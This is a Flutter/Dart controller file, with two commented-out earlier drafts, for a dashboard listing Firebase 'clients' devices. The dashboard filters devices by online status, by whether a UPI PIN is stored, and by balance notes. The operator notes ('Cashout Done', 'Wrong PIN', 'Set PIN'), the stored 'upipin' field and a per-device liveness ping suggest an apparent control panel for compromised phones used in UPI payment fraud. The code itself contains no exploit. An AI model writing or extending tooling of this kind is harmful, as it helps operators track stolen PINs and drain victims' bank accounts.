// import 'package:firebase_database/firebase_database.dart';
// import 'package:flutter/material.dart';
// import 'package:get/get.dart';
//
// class DeviceInfoController extends GetxController {
//   TextEditingController noteController = TextEditingController();
//
//   RxString networkStatus = 'Status'.obs;
//   List<String> networkStatusList = ['Status', 'Online', 'Offline'];
//
//   RxString upiPinValue = 'Upi Pin'.obs;
//   List<String> upiPinList = ['Upi Pin', 'Pin', 'No Pin'];
//
//   RxString notesValue = 'All'.obs;
//   List<String> notesList = ['All', 'Low Balance'];
//
//   RxString showRecordCountValue = 'Show: 50'.obs;
//   RxList<String> showRecordCountList = [
//     'Show: 50',
//     'Show: 100',
//     'Show: 500',
//     'Show: 800',
//   ].obs;
//
//   RxString editNoteValue = 'Select a Predefined note'.obs;
//   List<String> editNoteList = [
//     'Select a Predefined note',
//     'No Msg',
//     'Low Balance',
//     'High Balance',
//     'Cashout Done',
//     'Wrong PIN',
//     'Set PIN',
//     'Reset PIN',
//   ];
//
//   // int firstPage = 1;
//   // int lastPage = 35;
//   // int currentPage = 1;
//   //
//   // void nextPage() {
//   //   if (currentPage < lastPage) {
//   //     firstPage++;
//   //     currentPage++;
//   //   }
//   // }
//   //
//   // void previousPage() {
//   //   if (currentPage > 1) {
//   //     firstPage--;
//   //     currentPage--;
//   //   }
//   // }
//   //
//   // void changePage(int page) {
//   //   // firstPage--;
//   //   currentPage = page;
//   // }
//
//   final dbRef = FirebaseDatabase.instance.ref('clients');
//
//   // Device data
//   RxList<Map<String, dynamic>> deviceList = <Map<String, dynamic>>[].obs;
//   RxList<Map<String, dynamic>> filteredList = <Map<String, dynamic>>[].obs;
//
//   // Pagination
//
//   final List<String?> previousKeys = []; // for going back
//   RxInt currentPage = 1.obs;
//   RxBool hasNext = true.obs;
//   RxString lastKey = ''.obs;
//   RxBool isLoading = false.obs;
//   RxBool hasMore = true.obs;
//
//   // Filters
//   RxString searchQuery = ''.obs;
//
//   // Initialize
//   @override
//   void onInit() {
//     fetchPage(reset: true);
//     super.onInit();
//   }
//
//   /// Fetch devices with pagination
//   // Future<void> fetchDevices({int limit = 50, bool reset = false}) async {
//   //   if (isLoading.isTrue || !hasMore.isTrue) return;
//   //   isLoading(true);
//   //
//   //   if (reset) {
//   //     deviceList.clear();
//   //     filteredList.clear();
//   //     lastKey = null;
//   //     hasMore(true);
//   //   }
//   //
//   //   Query query = dbRef.orderByKey().limitToFirst(limit);
//   //
//   //   if (!reset && lastKey != null) {
//   //     query = dbRef.orderByKey().startAfter(lastKey).limitToFirst(limit);
//   //   }
//   //
//   //   final snapshot = await query.get();
//   //
//   //   if (snapshot.exists) {
//   //     final data = Map<String, dynamic>.from(snapshot.value as Map);
//   //
//   //     // If no more data
//   //     if (data.isEmpty) {
//   //       hasMore(false);
//   //       isLoading(false);
//   //       return;
//   //     }
//   //
//   //     data.forEach((key, value) {
//   //       final item = Map<String, dynamic>.from(value);
//   //       deviceList.add(item);
//   //     });
//   //
//   //     lastKey?.value = data.keys.last;
//   //   } else {
//   //     hasMore(false);
//   //   }
//   //
//   //   applyFilters();
//   //   isLoading(false);
//   // }
//   Future<void> fetchPage({
//     int limit = 10,
//     bool next = false,
//     bool previous = false,
//     bool reset = false,
//   }) async {
//     if (isLoading.isTrue) return;
//     isLoading(true);
//
//     Query query = dbRef.orderByKey().limitToFirst(limit);
//
//     debugPrint("lastKey?.value::${lastKey.value}");
//
//     if (reset) {
//       deviceList.clear();
//       filteredList.clear();
//       lastKey = ''.obs;
//       previousKeys.clear();
//       currentPage(1);
//       hasNext(true);
//     } else if (next && lastKey.isNotEmpty) {
//       debugPrint("load next page data");
//       previousKeys.add(lastKey.value);
//       query = dbRef.orderByKey().startAfter(lastKey.value).limitToFirst(limit);
//       currentPage++;
//     } else if (previous && previousKeys.isNotEmpty) {
//       final prevKey = previousKeys.length >= 2
//           ? previousKeys[previousKeys.length - 2]
//           : null;
//       query = prevKey == null
//           ? dbRef.orderByKey().limitToFirst(limit)
//           : dbRef.orderByKey().startAfter(prevKey).limitToFirst(limit);
//       if (currentPage > 1) currentPage--;
//       previousKeys.removeLast();
//     }
//
//     final snapshot = await query.get();
//
//     if (snapshot.exists) {
//       final data = Map<String, dynamic>.from(snapshot.value as Map);
//       deviceList.value = data.values
//           .map((e) => Map<String, dynamic>.from(e))
//           .toList();
//       lastKey(data.keys.last);
//
//       hasNext.value = data.length == limit; // if less than limit, no more pages
//       debugPrint("hasNext.value::${hasNext.value}");
//     } else {
//       hasNext(false);
//     }
//
//     applyFilters();
//     isLoading(false);
//   }
//
//   /// Apply filters & search on locally loaded data
//   void applyFilters() {
//     filteredList.value = deviceList.where((item) {
//       final modelName = (item['modelName'] ?? '').toString().toLowerCase();
//       final message = (item['message'] ?? '').toString().toLowerCase();
//       final status = item['status'];
//       final upiPin = item['upipin'];
//
//       // Search condition
//       final matchesSearch =
//           searchQuery.isEmpty ||
//           modelName.contains(searchQuery.toLowerCase()) ||
//           message.contains(searchQuery.toLowerCase());
//
//       debugPrint("device network status online::$status");
//
//       // Status condition
//       final matchesStatus =
//           networkStatus.value == 'Status' ||
//           (status == (networkStatus.value == 'Online' ? true : false));
//       // statusFilter?.isTrue ;
//       // || statusFilter?.value == null;
//       debugPrint("matchesStatus::$matchesStatus");
//
//       final matchUpiPin =
//           upiPinValue.value == 'Upi Pin' ||
//           (upiPinValue.value == 'Pin' && upiPin != null) ||
//           (upiPinValue.value == 'No Pin' && upiPin == null);
//
//       return matchesSearch && matchesStatus && matchUpiPin;
//     }).toList();
//   }
//
//   /// Update search
//   void updateSearch(String value) {
//     reset();
//     searchQuery(value);
//     applyFilters();
//   }
//
//   /// Update status filter
//   void updateStatusFilter() {
//     reset();
//     // statusFilter(value);
//     // debugPrint("statusFilter:::$statusFilter");
//     applyFilters();
//   }
//
//   /// Refresh full data
//   Future<void> refreshList() async {
//     await fetchPage(reset: true);
//   }
//
//
//   void reset(){
//     fetchPage(reset: true);
//   }
// }

import 'package:firebase_database/firebase_database.dart';
import 'package:flutter/material.dart';
import 'package:get/get.dart';
import 'package:intl/intl.dart';

// class DeviceInfoController extends GetxController {
//   TextEditingController noteController = TextEditingController();
//
//   /// Filters
//   RxString networkStatus = 'Status'.obs;
//   final List<String> networkStatusList = ['Status', 'Online', 'Offline'];
//
//   RxString upiPinValue = 'Upi Pin'.obs;
//   final List<String> upiPinList = ['Upi Pin', 'Pin', 'No Pin'];
//
//   RxString notesValue = 'All'.obs;
//   final List<String> notesList = ['All', 'Low Balance'];
//
//   RxString showRecordCountValue = 'Show: 50'.obs;
//   RxList<String> showRecordCountList = [
//     'Show: 50',
//     'Show: 100',
//     'Show: 500',
//     'Show: 800',
//   ].obs;
//
//   RxString editNoteValue = 'Select a Predefined note'.obs;
//   List<String> editNoteList = [
//     'Select a Predefined note',
//     'No Msg',
//     'Low Balance',
//     'High Balance',
//     'Cashout Done',
//     'Wrong PIN',
//     'Set PIN',
//     'Reset PIN',
//   ];
//
//   RxString searchQuery = ''.obs;
//
//   /// Pagination
//   final dbRef = FirebaseDatabase.instance.ref('clients');
//   RxList<Map<String, dynamic>> deviceList = <Map<String, dynamic>>[].obs;
//   RxList<Map<String, dynamic>> filteredList = <Map<String, dynamic>>[].obs;
//
//   final List<String?> previousKeys = [];
//   RxInt currentPage = 1.obs;
//   RxBool hasNext = true.obs;
//   RxString lastKey = ''.obs;
//   RxBool isLoading = false.obs;
//   RxBool hasMore = true.obs;
//
//   // final int limit = 20;
//
//   @override
//   void onInit() {
//     fetchPage(reset: true);
//     super.onInit();
//   }
//
//   /// Fetch devices from Firebase with pagination and filter awareness
//   Future<void> fetchPage({
//     int limit = 10,
//     bool next = false,
//     bool previous = false,
//     bool reset = false,
//   }) async {
//     if (isLoading.isTrue) return;
//     isLoading(true);
//
//     Query query = dbRef.orderByKey().limitToFirst(limit);
//
//     if (reset) {
//       deviceList.clear();
//       filteredList.clear();
//       previousKeys.clear();
//       lastKey.value = '';
//       currentPage.value = 1;
//       hasNext(true);
//     } else if (next && lastKey.isNotEmpty) {
//       previousKeys.add(lastKey.value);
//       query = dbRef.orderByKey().startAfter(lastKey.value).limitToFirst(limit);
//       currentPage.value++;
//     } else if (previous && previousKeys.isNotEmpty) {
//       final prevKey = previousKeys.length >= 2
//           ? previousKeys[previousKeys.length - 2]
//           : null;
//       query = prevKey == null
//           ? dbRef.orderByKey().limitToFirst(limit)
//           : dbRef.orderByKey().startAfter(prevKey).limitToFirst(limit);
//       if (currentPage > 1) currentPage.value--;
//       previousKeys.removeLast();
//     }
//
//     final snapshot = await query.get();
//
//     if (snapshot.exists) {
//       final raw = Map<String, dynamic>.from(snapshot.value as Map);
//       final data = raw.map(
//         (k, v) => MapEntry(k.toString(), Map<String, dynamic>.from(v)),
//       );
//
//       deviceList.value = data.values.toList();
//       lastKey.value = data.keys.last.toString();
//       hasNext.value = data.length == limit;
//     } else {
//       hasNext(false);
//     }
//
//     applyFilters();
//     isLoading(false);
//   }
//
//   /// Apply local filters (search, upiPin, status)
//   void applyFilters() {
//     filteredList.value = deviceList.where((item) {
//       final modelName = (item['modelName'] ?? '').toString().toLowerCase();
//       final message = (item['message'] ?? '').toString().toLowerCase();
//       final status = item['status'];
//       final upiPin = item['upipin'];
//
//       // Search condition
//       final matchesSearch =
//           searchQuery.isEmpty ||
//           modelName.contains(searchQuery.toLowerCase()) ||
//           message.contains(searchQuery.toLowerCase());
//
//       // Status condition
//       final matchesStatus =
//           networkStatus.value == 'Status' ||
//           (status == (networkStatus.value == 'Online' ? true : false));
//
//       // UPI Pin condition
//       final matchUpiPin =
//           upiPinValue.value == 'Upi Pin' ||
//           (upiPinValue.value == 'Pin' && upiPin != null) ||
//           (upiPinValue.value == 'No Pin' && upiPin == null);
//
//       return matchesSearch && matchesStatus && matchUpiPin;
//     }).toList();
//   }
//
//   /// --- FILTER METHODS ---
//
//   void updateSearch(String value) {
//     searchQuery(value);
//     fetchPage(reset: true);
//   }
//
//   void updateStatusFilter(String value) {
//     networkStatus(value);
//     fetchPage(reset: true);
//   }
//
//   void updateUpiPinFilter(String value) {
//     upiPinValue(value);
//     fetchPage(reset: true);
//   }
//
//   /// Refresh full data
//   Future<void> refreshList() async {
//     await fetchPage(reset: true);
//   }
//
//   /// Pagination buttons handlers
//   void nextPage() => fetchPage(next: true);
//
//   void previousPage() => fetchPage(previous: true);
// }

class DeviceInfoController extends GetxController {
  TextEditingController noteController = TextEditingController();
  final ScrollController scrollController = ScrollController();

  /// Filters
  RxString networkStatus = 'Status'.obs;
  final List<String> networkStatusList = ['Status', 'Online', 'Offline'];

  RxString upiPinValue = 'Upi Pin'.obs;
  final List<String> upiPinList = ['Upi Pin', 'Pin', 'No Pin'];

  RxString notesValue = 'All'.obs;
  final List<String> notesList = ['All', 'Low Balance'];

  RxString showRecordCountValue = 'Show: 50'.obs;
  RxList<String> showRecordCountList = [
    'Show: 50',
    'Show: 100',
    'Show: 500',
    'Show: 800',
  ].obs;

  RxString editNoteValue = 'Select a Predefined note'.obs;
  List<String> editNoteList = [
    'Select a Predefined note',
    'No Msg',
    'Low Balance',
    'High Balance',
    'Cashout Done',
    'Wrong PIN',
    'Set PIN',
    'Reset PIN',
  ];

  RxString searchQuery = ''.obs;

  /// Firebase reference
  final dbRef = FirebaseDatabase.instance.ref('clients');

  /// Data sets
  RxList<Map<String, dynamic>> allDevices =
      <Map<String, dynamic>>[].obs; // all records
  RxList<Map<String, dynamic>> filteredList =
      <Map<String, dynamic>>[].obs; // after filters
  RxList<Map<String, dynamic>> paginatedList =
      <Map<String, dynamic>>[].obs; // current page

  /// Pagination controls
  RxInt currentPage = 1.obs;
  RxInt pageSize = 50.obs;
  RxBool isLoading = false.obs;

  @override
  void onInit() {
    fetchAllDevices(); // load everything once
    super.onInit();
  }

  /// Fetch all records from Firebase once
  Future<void> fetchAllDevices() async {
    if (isLoading.isTrue) return;
    isLoading(true);

    try {
      final snapshot = await dbRef.get();
      if (snapshot.exists) {
        final raw = Map<String, dynamic>.from(snapshot.value as Map);
        final data = raw.map(
          (k, v) => MapEntry(k.toString(), Map<String, dynamic>.from(v)),
        );
        // allDevices.value = data.values.toList();

        final deviceList = data.values.toList();

        deviceList.sort((a, b) {
          final aTime = a['joined'] ?? a['dateTime'] ?? '';
          final bTime = b['joined'] ?? b['dateTime'] ?? '';

          try {
            final aDate =
                DateFormat('dd/MM/yyyy | hh:mm a').tryParse(aTime) ??
                DateTime(DateTime.now().year - 1);
            final bDate =
                DateFormat('dd/MM/yyyy | hh:mm a').tryParse(bTime) ??
                DateTime(DateTime.now().year - 1);

            //     DateTime.tryParse(aTime) ?? DateTime(1970);
            // final bDate = DateTime.tryParse(bTime) ?? DateTime(1970);
            return bDate.compareTo(aDate); // Descending (latest first)
          } catch (_) {
            return 0;
          }
        });

        allDevices.value = deviceList;
      } else {
        allDevices.clear();
      }

      applyFilters();
    } catch (e) {
      debugPrint("Error loading devices: $e");
    }

    isLoading(false);
  }

  /// Apply local filters (search, upiPin, status)
  void applyFilters() {
    final result = allDevices.where((item) {
      final modelName = (item['modelName'] ?? '').toString().toLowerCase();
      final message = (item['notes'] ?? '').toString().toLowerCase();
      final status = item['status'];
      final upiPin = item['upipin'];

      // Search condition
      final matchesSearch =
          searchQuery.isEmpty ||
          modelName.contains(searchQuery.toLowerCase()) ||
          message.contains(searchQuery.toLowerCase());

      // Status condition
      final matchesStatus =
          networkStatus.value == 'Status' ||
          (status == (networkStatus.value == 'Online' ? true : false));

      // UPI Pin condition
      final matchUpiPin =
          upiPinValue.value == 'Upi Pin' ||
          (upiPinValue.value == 'Pin' &&
              upiPin != null &&
              upiPin.toString() != '') ||
          (upiPinValue.value == 'No Pin' &&
              (upiPin == null || upiPin.toString() == ''));

      // notesValue = 'All'.obs;
      // final List<String> notesList = ['All', 'Low Balance'];
      final matchNotes = notesValue.value == 'All' || message == 'low balance';

      return matchesSearch && matchesStatus && matchUpiPin && matchNotes;
    }).toList();

    filteredList.value = result;
    currentPage.value = 1;
    updatePaginatedList();
  }

  /// Update visible list based on current page
  void updatePaginatedList() {
    final startIndex = (currentPage.value - 1) * pageSize.value;
    final endIndex = (startIndex + pageSize.value) > filteredList.length
        ? filteredList.length
        : (startIndex + pageSize.value);
    paginatedList.value = filteredList.sublist(startIndex, endIndex);
  }

  /// --- FILTER UPDATES ---
  void updateSearch(String value) {
    searchQuery(value);
    applyFilters();
  }

  void updateStatusFilter(String value) {
    networkStatus(value);
    applyFilters();
  }

  void updateUpiPinFilter(String value) {
    upiPinValue(value);
    applyFilters();
  }

  void updateNotesFilter(String value) {
    notesValue(value);
    applyFilters();
  }

  /// --- PAGINATION HANDLERS ---
  void nextPage() {
    if ((currentPage.value * pageSize.value) < filteredList.length) {
      currentPage.value++;
      updatePaginatedList();
    }
  }

  void previousPage() {
    if (currentPage.value > 1) {
      currentPage.value--;
      updatePaginatedList();
    }
  }

  /// Refresh everything
  Future<void> refreshList() async {
    await fetchAllDevices();
  }

  void listenForLiveness(String deviceId, int index) {
    final ref = FirebaseDatabase.instance.ref("clients/$deviceId");

    ref.onValue.listen((event) {
      if (event.snapshot.exists) {
        final data = event.snapshot.value as Map?;
        final text = data?['webhookEvent']['checkLiveness']["text"];

        print("real data::$data");

        if (text == "pong") {
          // 🔥 reply with pong
          ref.update({"status": true}).then((value) {
            paginatedList[index]['status'] = true;
            updatePaginatedList();
          });
        } else {
          ref.update({"status": false}).then((value) {
            paginatedList[index]['status'] = false;
            updatePaginatedList();
          });
        }
      }
    });
  }
}
